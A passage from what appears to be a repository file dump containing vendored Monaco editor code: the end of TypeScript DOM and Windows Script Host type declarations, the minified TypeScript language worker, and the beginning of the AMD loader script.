number;\\ndeclare var scrollY: number;\\ndeclare var self: Window;\\ndeclare var speechSynthesis: SpeechSynthesis;\\ndeclare var status: string;\\ndeclare var statusbar: BarProp;\\ndeclare var styleMedia: StyleMedia;\\ndeclare var toolbar: BarProp;\\ndeclare var top: Window;\\ndeclare var window: Window;\\ndeclare var customElements: CustomElementRegistry;\\ndeclare function alert(message?: any): void;\\ndeclare function blur(): void;\\ndeclare function cancelAnimationFrame(handle: number): void;\\ndeclare function captureEvents(): void;\\ndeclare function close(): void;\\ndeclare function confirm(message?: string): boolean;\\ndeclare function departFocus(navigationReason: NavigationReason, origin: FocusNavigationOrigin): void;\\ndeclare function focus(): void;\\ndeclare function getComputedStyle(elt: Element, pseudoElt?: string): CSSStyleDeclaration;\\ndeclare function getMatchedCSSRules(elt: Element, pseudoElt?: string): CSSRuleList;\\ndeclare function getSelection(): Selection;\\ndeclare function matchMedia(mediaQuery: string): MediaQueryList;\\ndeclare function moveBy(x?: number, y?: number): void;\\ndeclare function moveTo(x?: number, y?: number): void;\\ndeclare function msWriteProfilerMark(profilerMarkName: string): void;\\ndeclare function open(url?: string, target?: string, features?: string, replace?: boolean): Window;\\ndeclare function postMessage(message: any, targetOrigin: string, transfer?: any[]): void;\\ndeclare function print(): void;\\ndeclare function prompt(message?: string, _default?: string): string | null;\\ndeclare function releaseEvents(): void;\\ndeclare function requestAnimationFrame(callback: FrameRequestCallback): number;\\ndeclare function resizeBy(x?: number, y?: number): void;\\ndeclare function resizeTo(x?: number, y?: number): void;\\ndeclare function scroll(x?: number, y?: number): void;\\ndeclare function scrollBy(x?: number, y?: number): void;\\ndeclare function scrollTo(x?: number, y?: number): void;\\ndeclare function stop(): void;\\ndeclare function webkitCancelAnimationFrame(handle: number): void;\\ndeclare function webkitConvertPointFromNodeToPage(node: Node, pt: WebKitPoint): WebKitPoint;\\ndeclare function webkitConvertPointFromPageToNode(node: Node, pt: WebKitPoint): WebKitPoint;\\ndeclare function webkitRequestAnimationFrame(callback: FrameRequestCallback): number;\\ndeclare function createImageBitmap(image: HTMLImageElement | SVGImageElement | HTMLVideoElement | HTMLCanvasElement | ImageBitmap | ImageData | Blob, options?: ImageBitmapOptions): Promise<ImageBitmap>;\\ndeclare function createImageBitmap(image: HTMLImageElement | SVGImageElement | HTMLVideoElement | HTMLCanvasElement | ImageBitmap | ImageData | Blob, sx: number, sy: number, sw: number, sh: number, options?: ImageBitmapOptions): Promise<ImageBitmap>;\\ndeclare function scroll(options?: ScrollToOptions): void;\\ndeclare function scrollTo(options?: ScrollToOptions): void;\\ndeclare function scrollBy(options?: ScrollToOptions): void;\\ndeclare function toString(): string;\\ndeclare function dispatchEvent(evt: Event): boolean;\\ndeclare function removeEventListener(type: string, listener?: EventListenerOrEventListenerObject, options?: boolean | EventListenerOptions): void;\\ndeclare function clearInterval(handle: number): void;\\ndeclare function clearTimeout(handle: number): void;\\ndeclare function setInterval(handler: (...args: any[]) => void, timeout: number): number;\\ndeclare function setInterval(handler: any, timeout?: any, ...args: any[]): number;\\ndeclare function setTimeout(handler: (...args: any[]) => void, timeout: number): number;\\ndeclare function setTimeout(handler: any, timeout?: any, ...args: any[]): number;\\ndeclare function clearImmediate(handle: number): void;\\ndeclare function setImmediate(handler: (...args: any[]) => void): number;\\ndeclare function setImmediate(handler: any, ...args: any[]): number;\\ndeclare var sessionStorage: Storage;\\ndeclare var localStorage: Storage;\\ndeclare var console: Console;\\ndeclare var onpointercancel: (this: Window, ev: PointerEvent) => any;\\ndeclare var onpointerdown: (this: Window, ev: PointerEvent) => any;\\ndeclare var onpointerenter: (this: Window, ev: PointerEvent) => any;\\ndeclare var onpointerleave: (this: Window, ev: PointerEvent) => any;\\ndeclare var onpointermove: (this: Window, ev: PointerEvent) => any;\\ndeclare var onpointerout: (this: Window, ev: PointerEvent) => any;\\ndeclare var onpointerover: (this: Window, ev: PointerEvent) => any;\\ndeclare var onpointerup: (this: Window, ev: PointerEvent) => any;\\ndeclare var onwheel: (this: Window, ev: WheelEvent) => any;\\ndeclare var indexedDB: IDBFactory;\\ndeclare function atob(encodedString: string): string;\\ndeclare function btoa(rawString: string): string;\\ndeclare function fetch(input: RequestInfo, init?: RequestInit): Promise<Response>;\\ndeclare function addEventListener<K extends keyof WindowEventMap>(type: K, listener: (this: Window, ev: WindowEventMap[K]) => any, useCapture?: boolean): void;\\ndeclare function addEventListener(type: string, listener: EventListenerOrEventListenerObject, useCapture?: boolean): void;\\ntype AAGUID = string;\\ntype AlgorithmIdentifier = string | Algorithm;\\ntype BodyInit = any;\\ntype ByteString = string;\\ntype ConstrainBoolean = boolean | ConstrainBooleanParameters;\\ntype ConstrainDOMString = string | string[] | ConstrainDOMStringParameters;\\ntype ConstrainDouble = number | ConstrainDoubleRange;\\ntype ConstrainLong = number | ConstrainLongRange;\\ntype CryptoOperationData = ArrayBufferView;\\ntype GLbitfield = number;\\ntype GLboolean = boolean;\\ntype GLbyte = number;\\ntype GLclampf = number;\\ntype GLenum = number;\\ntype GLfloat = number;\\ntype GLint = number;\\ntype GLintptr = number;\\ntype GLshort = number;\\ntype GLsizei = number;\\ntype GLsizeiptr = number;\\ntype GLubyte = number;\\ntype GLuint = number;\\ntype GLushort = number;\\ntype HeadersInit = any;\\ntype IDBKeyPath = string;\\ntype KeyFormat = string;\\ntype KeyType = string;\\ntype KeyUsage = string;\\ntype MSInboundPayload = MSVideoRecvPayload | MSAudioRecvPayload;\\ntype MSLocalClientEvent = MSLocalClientEventBase | MSAudioLocalClientEvent;\\ntype MSOutboundPayload = MSVideoSendPayload | MSAudioSendPayload;\\ntype RTCIceGatherCandidate = RTCIceCandidateDictionary | RTCIceCandidateComplete;\\ntype RTCTransport = RTCDtlsTransport | RTCSrtpSdesTransport;\\ntype RequestInfo = Request | string;\\ntype USVString = string;\\ntype payloadtype = number;\\ntype ScrollBehavior = \"auto\" | \"instant\" | \"smooth\";\\ntype ScrollLogicalPosition = \"start\" | \"center\" | \"end\" | \"nearest\";\\ntype IDBValidKey = number | string | Date | IDBArrayKey;\\ntype BufferSource = ArrayBuffer | ArrayBufferView;\\ntype MouseWheelEvent = WheelEvent;\\ntype ScrollRestoration = \"auto\" | \"manual\";\\ntype FormDataEntryValue = string | File;\\ntype InsertPosition = \"beforebegin\" | \"afterbegin\" | \"beforeend\" | \"afterend\";\\ntype AppendMode = \"segments\" | \"sequence\";\\ntype AudioContextState = \"suspended\" | \"running\" | \"closed\";\\ntype BiquadFilterType = \"lowpass\" | \"highpass\" | \"bandpass\" | \"lowshelf\" | \"highshelf\" | \"peaking\" | \"notch\" | \"allpass\";\\ntype CanvasFillRule = \"nonzero\" | \"evenodd\";\\ntype ChannelCountMode = \"max\" | \"clamped-max\" | \"explicit\";\\ntype ChannelInterpretation = \"speakers\" | \"discrete\";\\ntype DistanceModelType = \"linear\" | \"inverse\" | \"exponential\";\\ntype ExpandGranularity = \"character\" | \"word\" | \"sentence\" | \"textedit\";\\ntype GamepadInputEmulationType = \"mouse\" | \"keyboard\" | \"gamepad\";\\ntype IDBCursorDirection = \"next\" | \"nextunique\" | \"prev\" | \"prevunique\";\\ntype IDBRequestReadyState = \"pending\" | \"done\";\\ntype IDBTransactionMode = \"readonly\" | \"readwrite\" | \"versionchange\";\\ntype ListeningState = \"inactive\" | \"active\" | \"disambiguation\";\\ntype MediaDeviceKind = \"audioinput\" | \"audiooutput\" | \"videoinput\";\\ntype MediaKeyMessageType = \"license-request\" | \"license-renewal\" | \"license-release\" | \"individualization-request\";\\ntype MediaKeySessionType = \"temporary\" | \"persistent-license\" | \"persistent-release-message\";\\ntype MediaKeysRequirement = \"required\" | \"optional\" | \"not-allowed\";\\ntype MediaKeyStatus = \"usable\" | \"expired\" | \"output-downscaled\" | \"output-not-allowed\" | \"status-pending\" | \"internal-error\";\\ntype MediaStreamTrackState = \"live\" | \"ended\";\\ntype MSCredentialType = \"FIDO_2_0\";\\ntype MSIceAddrType = \"os\" | \"stun\" | \"turn\" | \"peer-derived\";\\ntype MSIceType = \"failed\" | \"direct\" | \"relay\";\\ntype MSStatsType = \"description\" | \"localclientevent\" | \"inbound-network\" | \"outbound-network\" | \"inbound-payload\" | \"outbound-payload\" | \"transportdiagnostics\";\\ntype MSTransportType = \"Embedded\" | \"USB\" | \"NFC\" | \"BT\";\\ntype MSWebViewPermissionState = \"unknown\" | \"defer\" | \"allow\" | \"deny\";\\ntype MSWebViewPermissionType = \"geolocation\" | \"unlimitedIndexedDBQuota\" | \"media\" | \"pointerlock\" | \"webnotifications\";\\ntype NavigationReason = \"up\" | \"down\" | \"left\" | \"right\";\\ntype NavigationType = \"navigate\" | \"reload\" | \"back_forward\" | \"prerender\";\\ntype NotificationDirection = \"auto\" | \"ltr\" | \"rtl\";\\ntype NotificationPermission = \"default\" | \"denied\" | \"granted\";\\ntype OscillatorType = \"sine\" | \"square\" | \"sawtooth\" | \"triangle\" | \"custom\";\\ntype OverSampleType = \"none\" | \"2x\" | \"4x\";\\ntype PanningModelType = \"equalpower\";\\ntype PaymentComplete = \"success\" | \"fail\" | \"\";\\ntype PaymentShippingType = \"shipping\" | \"delivery\" | \"pickup\";\\ntype PushEncryptionKeyName = \"p256dh\" | \"auth\";\\ntype PushPermissionState = \"granted\" | \"denied\" | \"prompt\";\\ntype ReferrerPolicy = \"\" | \"no-referrer\" | \"no-referrer-when-downgrade\" | \"origin-only\" | \"origin-when-cross-origin\" | \"unsafe-url\";\\ntype RequestCache = \"default\" | \"no-store\" | \"reload\" | \"no-cache\" | \"force-cache\";\\ntype RequestCredentials = \"omit\" | \"same-origin\" | \"include\";\\ntype RequestDestination = \"\" | \"document\" | \"sharedworker\" | \"subresource\" | \"unknown\" | \"worker\";\\ntype RequestMode = \"navigate\" | \"same-origin\" | \"no-cors\" | \"cors\";\\ntype RequestRedirect = \"follow\" | \"error\" | \"manual\";\\ntype RequestType = \"\" | \"audio\" | \"font\" | \"image\" | \"script\" | \"style\" | \"track\" | \"video\";\\ntype ResponseType = \"basic\" | \"cors\" | \"default\" | \"error\" | \"opaque\" | \"opaqueredirect\";\\ntype RTCBundlePolicy = \"balanced\" | \"max-compat\" | \"max-bundle\";\\ntype RTCDegradationPreference = \"maintain-framerate\" | \"maintain-resolution\" | \"balanced\";\\ntype RTCDtlsRole = \"auto\" | \"client\" | \"server\";\\ntype RTCDtlsTransportState = \"new\" | \"connecting\" | \"connected\" | \"closed\";\\ntype RTCIceCandidateType = \"host\" | \"srflx\" | \"prflx\" | \"relay\";\\ntype RTCIceComponent = \"RTP\" | \"RTCP\";\\ntype RTCIceConnectionState = \"new\" | \"checking\" | \"connected\" | \"completed\" | \"failed\" | \"disconnected\" | \"closed\";\\ntype RTCIceGathererState = \"new\" | \"gathering\" | \"complete\";\\ntype RTCIceGatheringState = \"new\" | \"gathering\" | \"complete\";\\ntype RTCIceGatherPolicy = \"all\" | \"nohost\" | \"relay\";\\ntype RTCIceProtocol = \"udp\" | \"tcp\";\\ntype RTCIceRole = \"controlling\" | \"controlled\";\\ntype RTCIceTcpCandidateType = \"active\" | \"passive\" | \"so\";\\ntype RTCIceTransportPolicy = \"none\" | \"relay\" | \"all\";\\ntype RTCIceTransportState = \"new\" | \"checking\" | \"connected\" | \"completed\" | \"disconnected\" | \"closed\";\\ntype RTCSdpType = \"offer\" | \"pranswer\" | \"answer\";\\ntype RTCSignalingState = \"stable\" | \"have-local-offer\" | \"have-remote-offer\" | \"have-local-pranswer\" | \"have-remote-pranswer\" | \"closed\";\\ntype RTCStatsIceCandidatePairState = \"frozen\" | \"waiting\" | \"inprogress\" | \"failed\" | \"succeeded\" | \"cancelled\";\\ntype RTCStatsIceCandidateType = \"host\" | \"serverreflexive\" | \"peerreflexive\" | \"relayed\";\\ntype RTCStatsType = \"inboundrtp\" | \"outboundrtp\" | \"session\" | \"datachannel\" | \"track\" | \"transport\" | \"candidatepair\" | \"localcandidate\" | \"remotecandidate\";\\ntype ScopedCredentialType = \"ScopedCred\";\\ntype ServiceWorkerState = \"installing\" | \"installed\" | \"activating\" | \"activated\" | \"redundant\";\\ntype Transport = \"usb\" | \"nfc\" | \"ble\";\\ntype VideoFacingModeEnum = \"user\" | \"environment\" | \"left\" | \"right\";\\ntype VisibilityState = \"hidden\" | \"visible\" | \"prerender\" | \"unloaded\";\\ntype XMLHttpRequestResponseType = \"\" | \"arraybuffer\" | \"blob\" | \"document\" | \"json\" | \"text\";\\n\\n\\n/////////////////////////////\\n/// WorkerGlobalScope APIs\\n/////////////////////////////\\n// These are only available in a Web Worker\\ndeclare function importScripts(...urls: string[]): void;\\n\\n\\n\\n\\n/////////////////////////////\\n/// Windows Script Host APIS\\n/////////////////////////////\\n\\n\\ninterface ActiveXObject {\\n    new (s: string): any;\\n}\\ndeclare var ActiveXObject: ActiveXObject;\\n\\ninterface ITextWriter {\\n    Write(s: string): void;\\n    WriteLine(s: string): void;\\n    Close(): void;\\n}\\n\\ninterface TextStreamBase {\\n    /**\\n     * The column number of the current character position in an input stream.\\n     */\\n    Column: number;\\n\\n    /**\\n     * The current line number in an input stream.\\n     */\\n    Line: number;\\n\\n    /**\\n     * Closes a text stream.\\n     * It is not necessary to close standard streams; they close automatically when the process ends. If\\n     * you close a standard stream, be aware that any other pointers to that standard stream become invalid.\\n     */\\n    Close(): void;\\n}\\n\\ninterface TextStreamWriter extends TextStreamBase {\\n    /**\\n     * Sends a string to an output stream.\\n     */\\n    Write(s: string): void;\\n\\n    /**\\n     * Sends a specified number of blank lines (newline characters) to an output stream.\\n     */\\n    WriteBlankLines(intLines: number): void;\\n\\n    /**\\n     * Sends a string followed by a newline character to an output stream.\\n     */\\n    WriteLine(s: string): void;\\n}\\n\\ninterface TextStreamReader extends TextStreamBase {\\n    /**\\n     * Returns a specified number of characters from an input stream, starting at the current pointer position.\\n     * Does not return until the ENTER key is pressed.\\n     * Can only be used on a stream in reading mode; causes an error in writing or appending mode.\\n     */\\n    Read(characters: number): string;\\n\\n    /**\\n     * Returns all characters from an input stream.\\n     * Can only be used on a stream in reading mode; causes an error in writing or appending mode.\\n     */\\n    ReadAll(): string;\\n\\n    /**\\n     * Returns an entire line from an input stream.\\n     * Although this method extracts the newline character, it does not add it to the returned string.\\n     * Can only be used on a stream in reading mode; causes an error in writing or appending mode.\\n     */\\n    ReadLine(): string;\\n\\n    /**\\n     * Skips a specified number of characters when reading from an input text stream.\\n     * Can only be used on a stream in reading mode; causes an error in writing or appending mode.\\n     * @param characters Positive number of characters to skip forward. (Backward skipping is not supported.)\\n     */\\n    Skip(characters: number): void;\\n\\n    /**\\n     * Skips the next line when reading from an input text stream.\\n     * Can only be used on a stream in reading mode, not writing or appending mode.\\n     */\\n    SkipLine(): void;\\n\\n    /**\\n     * Indicates whether the stream pointer position is at the end of a line.\\n     */\\n    AtEndOfLine: boolean;\\n\\n    /**\\n     * Indicates whether the stream pointer position is at the end of a stream.\\n     */\\n    AtEndOfStream: boolean;\\n}\\n\\ndeclare var WScript: {\\n    /**\\n     * Outputs text to either a message box (under WScript.exe) or the command console window followed by\\n     * a newline (under CScript.exe).\\n     */\\n    Echo(s: any): void;\\n\\n    /**\\n     * Exposes the write-only error output stream for the current script.\\n     * Can be accessed only while using CScript.exe.\\n     */\\n    StdErr: TextStreamWriter;\\n\\n    /**\\n     * Exposes the write-only output stream for the current script.\\n     * Can be accessed only while using CScript.exe.\\n     */\\n    StdOut: TextStreamWriter;\\n    Arguments: { length: number; Item(n: number): string; };\\n\\n    /**\\n     *  The full path of the currently running script.\\n     */\\n    ScriptFullName: string;\\n\\n    /**\\n     * Forces the script to stop immediately, with an optional exit code.\\n     */\\n    Quit(exitCode?: number): number;\\n\\n    /**\\n     * The Windows Script Host build version number.\\n     */\\n    BuildVersion: number;\\n\\n    /**\\n     * Fully qualified path of the host executable.\\n     */\\n    FullName: string;\\n\\n    /**\\n     * Gets/sets the script mode - interactive(true) or batch(false).\\n     */\\n    Interactive: boolean;\\n\\n    /**\\n     * The name of the host executable (WScript.exe or CScript.exe).\\n     */\\n    Name: string;\\n\\n    /**\\n     * Path of the directory containing the host executable.\\n     */\\n    Path: string;\\n\\n    /**\\n     * The filename of the currently running script.\\n     */\\n    ScriptName: string;\\n\\n    /**\\n     * Exposes the read-only input stream for the current script.\\n     * Can be accessed only while using CScript.exe.\\n     */\\n    StdIn: TextStreamReader;\\n\\n    /**\\n     * Windows Script Host version\\n     */\\n    Version: string;\\n\\n    /**\\n     * Connects a COM object\\'s event sources to functions named with a given prefix, in the form prefix_event.\\n     */\\n    ConnectObject(objEventSource: any, strPrefix: string): void;\\n\\n    /**\\n     * Creates a COM object.\\n     * @param strProgiID\\n     * @param strPrefix Function names in the form prefix_event will be bound to this object\\'s COM events.\\n     */\\n    CreateObject(strProgID: string, strPrefix?: string): any;\\n\\n    /**\\n     * Disconnects a COM object from its event sources.\\n     */\\n    DisconnectObject(obj: any): void;\\n\\n    /**\\n     * Retrieves an existing object with the specified ProgID from memory, or creates a new one from a file.\\n     * @param strPathname Fully qualified path to the file containing the object persisted to disk.\\n     *                       For objects in memory, pass a zero-length string.\\n     * @param strProgID\\n     * @param strPrefix Function names in the form prefix_event will be bound to this object\\'s COM events.\\n     */\\n    GetObject(strPathname: string, strProgID?: string, strPrefix?: string): any;\\n\\n    /**\\n     * Suspends script execution for a specified length of time, then continues execution.\\n     * @param intTime Interval (in milliseconds) to suspend script execution.\\n     */\\n    Sleep(intTime: number): void;\\n};\\n\\n/**\\n * Allows enumerating over a COM collection, which may not have indexed item access.\\n */\\ninterface Enumerator<T> {\\n    /**\\n     * Returns true if the current item is the last one in the collection, or the collection is empty,\\n     * or the current item is undefined.\\n     */\\n    atEnd(): boolean;\\n\\n    /**\\n     * Returns the current item in the collection\\n     */\\n    item(): T;\\n\\n    /**\\n     * Resets the current item in the collection to the first item. If there are no items in the collection,\\n     * the current item is set to undefined.\\n     */\\n    moveFirst(): void;\\n\\n    /**\\n     * Moves the current item to the next item in the collection. If the enumerator is at the end of\\n     * the collection or the collection is empty, the current item is set to undefined.\\n     */\\n    moveNext(): void;\\n}\\n\\ninterface EnumeratorConstructor {\\n    new <T>(collection: any): Enumerator<T>;\\n    new (collection: any): Enumerator<any>;\\n}\\n\\ndeclare var Enumerator: EnumeratorConstructor;\\n\\n/**\\n * Enables reading from a COM safe array, which might have an alternate lower bound, or multiple dimensions.\\n */\\ninterface VBArray<T> {\\n    /**\\n     * Returns the number of dimensions (1-based).\\n     */\\n    dimensions(): number;\\n\\n    /**\\n     * Takes an index for each dimension in the array, and returns the item at the corresponding location.\\n     */\\n    getItem(dimension1Index: number, ...dimensionNIndexes: number[]): T;\\n\\n    /**\\n     * Returns the smallest available index for a given dimension.\\n     * @param dimension 1-based dimension (defaults to 1)\\n     */\\n    lbound(dimension?: number): number;\\n\\n    /**\\n     * Returns the largest available index for a given dimension.\\n     * @param dimension 1-based dimension (defaults to 1)\\n     */\\n    ubound(dimension?: number): number;\\n\\n    /**\\n     * Returns a Javascript array with all the elements in the VBArray. If there are multiple dimensions,\\n     * each successive dimension is appended to the end of the array.\\n     * Example: [[1,2,3],[4,5,6]] becomes [1,2,3,4,5,6]\\n     */\\n    toArray(): T[];\\n}\\n\\ninterface VBArrayConstructor {\\n    new <T>(safeArray: any): VBArray<T>;\\n    new (safeArray: any): VBArray<any>;\\n}\\n\\ndeclare var VBArray: VBArrayConstructor;\\n\\n/**\\n * Automation date (VT_DATE)\\n */\\ninterface VarDate { }\\n\\ninterface DateConstructor {\\n    new (vd: VarDate): Date;\\n}\\n\\ninterface Date {\\n    getVarDate: () => VarDate;\\n}\\n\\n\\n/// <reference path=\"lib.dom.d.ts\" />\\n\\ninterface DOMTokenList {\\n    [Symbol.iterator](): IterableIterator<string>;\\n}\\n\\ninterface FormData {\\n    /**\\n     * Returns an array of key, value pairs for every entry in the list\\n     */\\n    entries(): IterableIterator<[string, string | File]>;\\n    /**\\n     * Returns a list of keys in the list\\n     */\\n    keys(): IterableIterator<string>;\\n    /**\\n     * Returns a list of values in the list\\n     */\\n    values(): IterableIterator<string | File>;\\n\\n    [Symbol.iterator](): IterableIterator<string | File>;\\n}\\n\\ninterface Headers {\\n    [Symbol.iterator](): IterableIterator<[string, string]>;\\n    /**\\n     * Returns an iterator allowing to go through all key/value pairs contained in this object.\\n     */\\n    entries(): IterableIterator<[string, string]>;\\n    /**\\n     * Returns an iterator allowing to go through all keys f the key/value pairs contained in this object.\\n     */\\n    keys(): IterableIterator<string>;\\n    /**\\n     * Returns an iterator allowing to go through all values of the key/value pairs contained in this object.\\n     */\\n    values(): IterableIterator<string>;\\n}\\n\\ninterface NodeList {\\n    /**\\n     * Returns an array of key, value pairs for every entry in the list\\n     */\\n    entries(): IterableIterator<[number, Node]>;\\n    /**\\n     * Performs the specified action for each node in an list.\\n     * @param callbackfn  A function that accepts up to three arguments. forEach calls the callbackfn function one time for each element in the list.\\n     * @param thisArg  An object to which the this keyword can refer in the callbackfn function. If thisArg is omitted, undefined is used as the this value.\\n     */\\n    forEach(callbackfn: (value: Node, index: number, listObj: NodeList) => void, thisArg?: any): void;\\n    /**\\n     * Returns an list of keys in the list\\n     */\\n    keys(): IterableIterator<number>;\\n\\n    /**\\n     * Returns an list of values in the list\\n     */\\n    values(): IterableIterator<Node>;\\n\\n\\n    [Symbol.iterator](): IterableIterator<Node>;\\n}\\n\\ninterface NodeListOf<TNode extends Node> {\\n\\n    /**\\n     * Returns an array of key, value pairs for every entry in the list\\n     */\\n    entries(): IterableIterator<[number, TNode]>;\\n\\n    /**\\n     * Performs the specified action for each node in an list.\\n     * @param callbackfn  A function that accepts up to three arguments. forEach calls the callbackfn function one time for each element in the list.\\n     * @param thisArg  An object to which the this keyword can refer in the callbackfn function. If thisArg is omitted, undefined is used as the this value.\\n     */\\n    forEach(callbackfn: (value: TNode, index: number, listObj: NodeListOf<TNode>) => void, thisArg?: any): void;\\n    /**\\n     * Returns an list of keys in the list\\n     */\\n    keys(): IterableIterator<number>;\\n    /**\\n     * Returns an list of values in the list\\n     */\\n    values(): IterableIterator<TNode>;\\n\\n    [Symbol.iterator](): IterableIterator<TNode>;\\n}\\n\\ninterface URLSearchParams {\\n    /**\\n     * Returns an array of key, value pairs for every entry in the search params\\n     */\\n    entries(): IterableIterator<[string, string]>;\\n    /**\\n     * Returns a list of keys in the search params\\n     */\\n    keys(): IterableIterator<string>;\\n    /**\\n     * Returns a list of values in the search params\\n     */\\n    values(): IterableIterator<string>;\\n    /**\\n     * iterate over key/value pairs\\n     */\\n    [Symbol.iterator](): IterableIterator<[string, string]>;\\n}\\n'\n}}),define(\"vs/language/typescript/src/worker\",[\"require\",\"exports\",\"../lib/typescriptServices\",\"../lib/lib-ts\",\"../lib/lib-es6-ts\"],function(e,n,t,r,a){\"use strict\";function i(e,n){return new d(e,n)}Object.defineProperty(n,\"__esModule\",{value:!0});var o=monaco.Promise,s={NAME:\"defaultLib:lib.d.ts\",CONTENTS:r.contents},l={NAME:\"defaultLib:lib.es6.d.ts\",CONTENTS:a.contents},d=function(){function e(e,n){this._extraLibs=Object.create(null),this._languageService=t.createLanguageService(this),this._ctx=e,this._compilerOptions=n.compilerOptions,this._extraLibs=n.extraLibs}return e.prototype.getCompilationSettings=function(){return this._compilerOptions},e.prototype.getScriptFileNames=function(){var e=this._ctx.getMirrorModels().map(function(e){return e.uri.toString()});return e.concat(Object.keys(this._extraLibs))},e.prototype._getModel=function(e){for(var n=this._ctx.getMirrorModels(),t=0;t<n.length;t++)if(n[t].uri.toString()===e)return n[t];return null},e.prototype.getScriptVersion=function(e){var n=this._getModel(e);return n?n.version.toString():this.isDefaultLibFileName(e)||e in this._extraLibs?\"1\":void 0},e.prototype.getScriptSnapshot=function(e){var n,t=this._getModel(e);if(t)n=t.getValue();else if(e in this._extraLibs)n=this._extraLibs[e];else if(e===s.NAME)n=s.CONTENTS;else{if(e!==l.NAME)return;n=l.CONTENTS}return{getText:function(e,t){return n.substring(e,t)},getLength:function(){return n.length},getChangeRange:function(){}}},e.prototype.getScriptKind=function(e){var n=e.substr(e.lastIndexOf(\".\")+1);switch(n){case\"ts\":return t.ScriptKind.TS;case\"tsx\":return t.ScriptKind.TSX;case\"js\":return t.ScriptKind.JS;case\"jsx\":return t.ScriptKind.JSX;default:return this.getCompilationSettings().allowJs?t.ScriptKind.JS:t.ScriptKind.TS}},e.prototype.getCurrentDirectory=function(){return\"\"},e.prototype.getDefaultLibFileName=function(e){return e.target<=t.ScriptTarget.ES5?s.NAME:l.NAME},e.prototype.isDefaultLibFileName=function(e){return e===this.getDefaultLibFileName(this._compilerOptions)},e.prototype.getSyntacticDiagnostics=function(e){var n=this._languageService.getSyntacticDiagnostics(e);return n.forEach(function(e){return e.file=void 0}),o.as(n)},e.prototype.getSemanticDiagnostics=function(e){var n=this._languageService.getSemanticDiagnostics(e);return n.forEach(function(e){return e.file=void 0}),o.as(n)},e.prototype.getCompilerOptionsDiagnostics=function(e){var n=this._languageService.getCompilerOptionsDiagnostics();return n.forEach(function(e){return e.file=void 0}),o.as(n)},e.prototype.getCompletionsAtPosition=function(e,n){return o.as(this._languageService.getCompletionsAtPosition(e,n))},e.prototype.getCompletionEntryDetails=function(e,n,t){return o.as(this._languageService.getCompletionEntryDetails(e,n,t))},e.prototype.getSignatureHelpItems=function(e,n){return o.as(this._languageService.getSignatureHelpItems(e,n))},e.prototype.getQuickInfoAtPosition=function(e,n){return o.as(this._languageService.getQuickInfoAtPosition(e,n))},e.prototype.getOccurrencesAtPosition=function(e,n){return o.as(this._languageService.getOccurrencesAtPosition(e,n))},e.prototype.getDefinitionAtPosition=function(e,n){return o.as(this._languageService.getDefinitionAtPosition(e,n))},e.prototype.getReferencesAtPosition=function(e,n){return o.as(this._languageService.getReferencesAtPosition(e,n))},e.prototype.getNavigationBarItems=function(e){return o.as(this._languageService.getNavigationBarItems(e))},e.prototype.getFormattingEditsForDocument=function(e,n){return o.as(this._languageService.getFormattingEditsForDocument(e,n))},e.prototype.getFormattingEditsForRange=function(e,n,t,r){return o.as(this._languageService.getFormattingEditsForRange(e,n,t,r))},e.prototype.getFormattingEditsAfterKeystroke=function(e,n,t,r){return o.as(this._languageService.getFormattingEditsAfterKeystroke(e,n,t,r))},e.prototype.getEmitOutput=function(e){return o.as(this._languageService.getEmitOutput(e))},e}();n.TypeScriptWorker=d,n.create=i});\n"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/vs/loader.js",
    "content": "/*!-----------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * Version: 0.10.1(ebbf400719be21761361804bf63fb3916e64a845)\n * Released under the MIT license\n * https://github.com/Microsoft/vscode/blob/master/LICENSE.txt\n *-----------------------------------------------------------*/\n\"use strict\";var _amdLoaderGlobal=this,AMDLoader;!function(e){e.global=_amdLoaderGlobal;var t=function(){function t(e){this.isWindows=e.isWindows,this.isNode=e.isNode,this.isElectronRenderer=e.isElectronRenderer,this.isWebWorker=e.isWebWorker}return t.detect=function(){return new t({isWindows:this._isWindows(),isNode:\"undefined\"!=typeof module&&!!module.exports,isElectronRenderer:\"undefined\"!=typeof process&&void 0!==process.versions&&void 0!==process.versions.electron&&\"renderer\"===process.type,isWebWorker:\"function\"==typeof e.global.importScripts})},t._isWindows=function(){return!!(\"undefined\"!=typeof navigator&&navigator.userAgent&&navigator.userAgent.indexOf(\"Windows\")>=0)||\"undefined\"!=typeof process&&\"win32\"===process.platform},t}();e.Environment=t}(AMDLoader||(AMDLoader={}));var AMDLoader;!function(e){var t;!function(e){e[e.LoaderAvailable=1]=\"LoaderAvailable\",e[e.BeginLoadingScript=10]=\"BeginLoadingScript\",e[e.EndLoadingScriptOK=11]=\"EndLoadingScriptOK\",e[e.EndLoadingScriptError=12]=\"EndLoadingScriptError\",e[e.BeginInvokeFactory=21]=\"BeginInvokeFactory\",e[e.EndInvokeFactory=22]=\"EndInvokeFactory\",e[e.NodeBeginEvaluatingScript=31]=\"NodeBeginEvaluatingScript\",e[e.NodeEndEvaluatingScript=32]=\"NodeEndEvaluatingScript\",e[e.NodeBeginNativeRequire=33]=\"NodeBeginNativeRequire\",e[e.NodeEndNativeRequire=34]=\"NodeEndNativeRequire\"}(t=e.LoaderEventType||(e.LoaderEventType={}));var r=function(){return function(e,t,r){this.type=e,this.detail=t,this.timestamp=r}}();e.LoaderEvent=r;var n=function(){function n(e){this._events=[new r(t.LoaderAvailable,\"\",e)]}return n.prototype.record=function(t,n){this._events.push(new r(t,n,e.Utilities.getHighPerformanceTimestamp()))},n.prototype.getEvents=function(){return this._events},n}();e.LoaderEventRecorder=n;var o=function(){function e(){}return e.prototype.record=function(e,t){},e.prototype.getEvents=function(){return[]},e}();o.INSTANCE=new o,e.NullLoaderEventRecorder=o}(AMDLoader||(AMDLoader={}));var AMDLoader;!function(e){var t=function(){function t(){}return t.fileUriToFilePath=function(e,t){if(t=decodeURI(t),e){if(/^file:\\/\\/\\//.test(t))return t.substr(8);if(/^file:\\/\\//.test(t))return t.substr(5)}else if(/^file:\\/\\//.test(t))return t.substr(7);return t},t.startsWith=function(e,t){return e.length>=t.length&&e.substr(0,t.length)===t},t.endsWith=function(e,t){return e.length>=t.length&&e.substr(e.length-t.length)===t},t.containsQueryString=function(e){return/^[^\\#]*\\?/gi.test(e)},t.isAbsolutePath=function(e){return/^((http:\\/\\/)|(https:\\/\\/)|(file:\\/\\/)|(\\/))/.test(e)},t.forEachProperty=function(e,t){if(e){var r=void 0;for(r in e)e.hasOwnProperty(r)&&t(r,e[r])}},t.isEmpty=function(e){var r=!0;return t.forEachProperty(e,function(){r=!1}),r},t.recursiveClone=function(e){if(!e||\"object\"!=typeof e)return 